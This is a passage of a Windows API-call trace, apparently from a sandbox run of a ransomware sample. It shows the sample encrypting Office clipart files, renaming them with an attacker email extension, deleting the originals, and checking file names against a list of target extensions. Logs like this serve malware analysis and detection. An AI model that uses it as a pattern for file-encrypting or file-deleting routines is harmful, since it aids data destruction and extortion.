(in: hFile=0x548, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0266.525] WriteFile (in: hFile=0x554, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0266.525] SetEndOfFile (hFile=0x554) returned 1 [0266.525] CloseHandle (hObject=0x554) returned 1 [0266.532] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.532] SetEndOfFile (hFile=0x548) returned 1 [0266.535] CloseHandle (hObject=0x548) returned 1 [0266.536] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0266.536] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf")) returned 1 [0266.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0266.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0266.537] lstrlenW (lpString=".doc") returned 4 [0266.537] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0266.537] lstrlenW (lpString=".docx") returned 5 [0266.537] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0266.537] lstrlenW (lpString=".pdf") returned 4 [0266.537] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0266.537] lstrlenW (lpString=".xls") returned 4 [0266.537] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0266.537] lstrlenW (lpString=".xlsx") returned 5 [0266.538] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0266.538] lstrlenW (lpString=".ppt") returned 4 [0266.538] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0266.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0266.538] lstrlenW (lpString=".zip") returned 4 [0266.538] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0266.538] lstrlenW (lpString=".rar") returned 4 [0266.538] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0266.538] lstrlenW (lpString=".bz2") returned 4 [0266.538] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0266.538] lstrlenW (lpString=".7z") returned 3 [0266.538] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0266.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0266.538] lstrlenW (lpString=".dbf") returned 4 [0266.538] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0266.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0266.538] lstrlenW (lpString=".1cd") returned 4 [0266.538] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0266.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0266.538] lstrlenW (lpString=".jpg") returned 4 [0266.538] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0266.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0266.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0266.538] lstrlenW (lpString=".doc") returned 4 [0266.539] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0266.539] lstrlenW (lpString=".docx") returned 5 [0266.539] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0266.539] lstrlenW (lpString=".pdf") returned 4 [0266.539] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0266.539] lstrlenW (lpString=".xls") returned 4 [0266.539] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0266.539] lstrlenW (lpString=".xlsx") returned 5 [0266.539] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0266.539] lstrlenW (lpString=".ppt") returned 4 [0266.539] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0266.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0266.539] lstrlenW (lpString=".zip") returned 4 [0266.539] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0266.539] lstrlenW (lpString=".rar") returned 4 [0266.539] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0266.539] lstrlenW (lpString=".bz2") returned 4 [0266.539] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0266.539] lstrlenW (lpString=".7z") returned 3 [0266.539] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0266.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0266.539] lstrlenW (lpString=".dbf") returned 4 [0266.539] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0266.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0266.539] lstrlenW (lpString=".1cd") returned 4 [0266.540] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0266.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0266.540] lstrlenW (lpString=".jpg") returned 4 [0266.540] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0266.540] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0266.540] lstrlenW (lpString="BL00267_.WMF") returned 12 [0266.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0266.914] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=2644) returned 1 [0266.914] CloseHandle (hObject=0x370) returned 1 [0266.914] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf")) returned 0x220 [0266.914] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0266.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0266.915] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.915] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0266.916] GetLastError () returned 0x0 [0266.916] ReadFile (in: hFile=0x370, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0xa54, lpOverlapped=0x0) returned 1 [0267.016] WriteFile (in: hFile=0x524, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xa60, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xa60, lpOverlapped=0x0) returned 1 [0267.017] ReadFile (in: hFile=0x370, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0267.017] WriteFile (in: hFile=0x524, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0267.017] SetEndOfFile (hFile=0x524) returned 1 [0267.018] CloseHandle (hObject=0x524) returned 1 [0267.024] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.024] SetEndOfFile (hFile=0x370) returned 1 [0267.042] CloseHandle (hObject=0x370) returned 1 [0267.042] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0267.043] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf")) returned 1 [0267.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0267.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0267.044] lstrlenW (lpString=".doc") returned 4 [0267.044] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0267.044] lstrlenW (lpString=".docx") returned 5 [0267.044] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0267.044] lstrlenW (lpString=".pdf") returned 4 [0267.044] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0267.044] lstrlenW (lpString=".xls") returned 4 [0267.044] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0267.044] lstrlenW (lpString=".xlsx") returned 5 [0267.044] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0267.044] lstrlenW (lpString=".ppt") returned 4 [0267.044] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0267.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0267.044] lstrlenW (lpString=".zip") returned 4 [0267.044] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0267.044] lstrlenW (lpString=".rar") returned 4 [0267.044] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0267.044] lstrlenW (lpString=".bz2") returned 4 [0267.044] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0267.044] lstrlenW (lpString=".7z") returned 3 [0267.044] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0267.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0267.044] lstrlenW (lpString=".dbf") returned 4 [0267.045] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0267.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0267.045] lstrlenW (lpString=".1cd") returned 4 [0267.045] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0267.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0267.045] lstrlenW (lpString=".jpg") returned 4 [0267.045] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0267.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0267.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0267.045] lstrlenW (lpString=".doc") returned 4 [0267.045] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0267.045] lstrlenW (lpString=".docx") returned 5 [0267.045] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0267.045] lstrlenW (lpString=".pdf") returned 4 [0267.045] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0267.045] lstrlenW (lpString=".xls") returned 4 [0267.045] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0267.045] lstrlenW (lpString=".xlsx") returned 5 [0267.045] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0267.045] lstrlenW (lpString=".ppt") returned 4 [0267.045] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0267.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0267.046] lstrlenW (lpString=".zip") returned 4 [0267.046] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0267.046] lstrlenW (lpString=".rar") returned 4 [0267.046] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0267.046] lstrlenW (lpString=".bz2") returned 4 [0267.046] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0267.046] lstrlenW (lpString=".7z") returned 3 [0267.046] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0267.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0267.046] lstrlenW (lpString=".dbf") returned 4 [0267.046] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0267.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0267.046] lstrlenW (lpString=".1cd") returned 4 [0267.046] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0267.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0267.046] lstrlenW (lpString=".jpg") returned 4 [0267.046] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0267.046] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0267.047] lstrlenW (lpString="BL00273_.WMF") returned 12 [0267.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0267.047] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=3780) returned 1 [0267.047] CloseHandle (hObject=0x370) returned 1 [0267.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf")) returned 0x220 [0267.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0267.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0267.048] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.048] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0267.447] GetLastError () returned 0x0 [0267.447] ReadFile (in: hFile=0x370, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0xec4, lpOverlapped=0x0) returned 1 [0267.449] WriteFile (in: hFile=0x558, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xed0, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xed0, lpOverlapped=0x0) returned 1 [0267.450] ReadFile (in: hFile=0x370, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0267.451] WriteFile (in: hFile=0x558, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0267.451] SetEndOfFile (hFile=0x558) returned 1 [0267.451] CloseHandle (hObject=0x558) returned 1 [0267.460] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.460] SetEndOfFile (hFile=0x370) returned 1 [0267.464] CloseHandle (hObject=0x370) returned 1 [0267.464] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0267.465] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf")) returned 1 [0267.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0267.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0267.466] lstrlenW (lpString=".doc") returned 4 [0267.466] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0267.466] lstrlenW (lpString=".docx") returned 5 [0267.466] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0267.466] lstrlenW (lpString=".pdf") returned 4 [0267.466] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0267.466] lstrlenW (lpString=".xls") returned 4 [0267.466] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0267.466] lstrlenW (lpString=".xlsx") returned 5 [0267.466] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0267.466] lstrlenW (lpString=".ppt") returned 4 [0267.466] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0267.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0267.467] lstrlenW (lpString=".zip") returned 4 [0267.467] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0267.467] lstrlenW (lpString=".rar") returned 4 [0267.467] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0267.467] lstrlenW (lpString=".bz2") returned 4 [0267.467] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0267.467] lstrlenW (lpString=".7z") returned 3 [0267.467] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0267.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0267.467] lstrlenW (lpString=".dbf") returned 4 [0267.467] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0267.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0267.468] lstrlenW (lpString=".1cd") returned 4 [0267.468] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0267.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0267.468] lstrlenW (lpString=".jpg") returned 4 [0267.468] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0267.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0267.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0267.468] lstrlenW (lpString=".doc") returned 4 [0267.468] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0267.468] lstrlenW (lpString=".docx") returned 5 [0267.468] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0267.468] lstrlenW (lpString=".pdf") returned 4 [0267.468] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0267.468] lstrlenW (lpString=".xls") returned 4 [0267.469] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0267.469] lstrlenW (lpString=".xlsx") returned 5 [0267.469] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0267.469] lstrlenW (lpString=".ppt") returned 4 [0267.469] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0267.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0267.469] lstrlenW (lpString=".zip") returned 4 [0267.469] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0267.469] lstrlenW (lpString=".rar") returned 4 [0267.469] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0267.469] lstrlenW (lpString=".bz2") returned 4 [0267.469] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0267.469] lstrlenW (lpString=".7z") returned 3 [0267.469] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0267.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0267.469] lstrlenW (lpString=".dbf") returned 4 [0267.469] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0267.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0267.470] lstrlenW (lpString=".1cd") returned 4 [0267.470] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0267.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0267.470] lstrlenW (lpString=".jpg") returned 4 [0267.470] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0267.470] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0267.470] lstrlenW (lpString="BL00525_.WMF") returned 12 [0267.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0267.485] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=9590) returned 1 [0267.485] CloseHandle (hObject=0x370) returned 1 [0267.486] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf")) returned 0x220 [0267.486] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0267.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0267.486] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.486] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0267.487] GetLastError () returned 0x0 [0267.487] ReadFile (in: hFile=0x370, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x2576, lpOverlapped=0x0) returned 1 [0267.549] WriteFile (in: hFile=0x558, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0x2580, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0x2580, lpOverlapped=0x0) returned 1 [0267.901] ReadFile (in: hFile=0x370, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0267.901] WriteFile (in: hFile=0x558, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, 